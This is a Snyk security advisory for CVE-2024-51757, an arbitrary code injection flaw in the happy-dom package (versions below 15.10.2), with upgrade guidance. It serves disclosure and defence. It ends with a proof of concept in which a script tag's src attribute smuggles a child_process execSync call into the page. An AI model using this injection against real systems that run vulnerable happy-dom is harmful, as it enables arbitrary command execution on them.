Arbitrary Code Injection Affecting happy-dom package, versions <15.10.2
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-HAPPYDOM-8350065
- published7 Nov 2024
- disclosed6 Nov 2024
- creditkevin-mizu
Introduced: 6 Nov 2024
CVE-2024-51757 (opens in a new tab)How to fix?
Upgrade happy-dom to version 15.10.2 or higher.
Overview
happy-dom is a Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. It includes many web standards from WHATWG DOM and HTML.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the SyncFetchScriptBuilder class due to improper input sanitization. An attacker can exploit this vulnerability by passing malicious content into the src attribute of the <script> tag.
PoC
const { Window } = require("happy-dom");
const window = new Window();
const document = window.document;
document.write(`<script src="https://localhost:8080/'+require('child_process').execSync('id')+'"></script>`);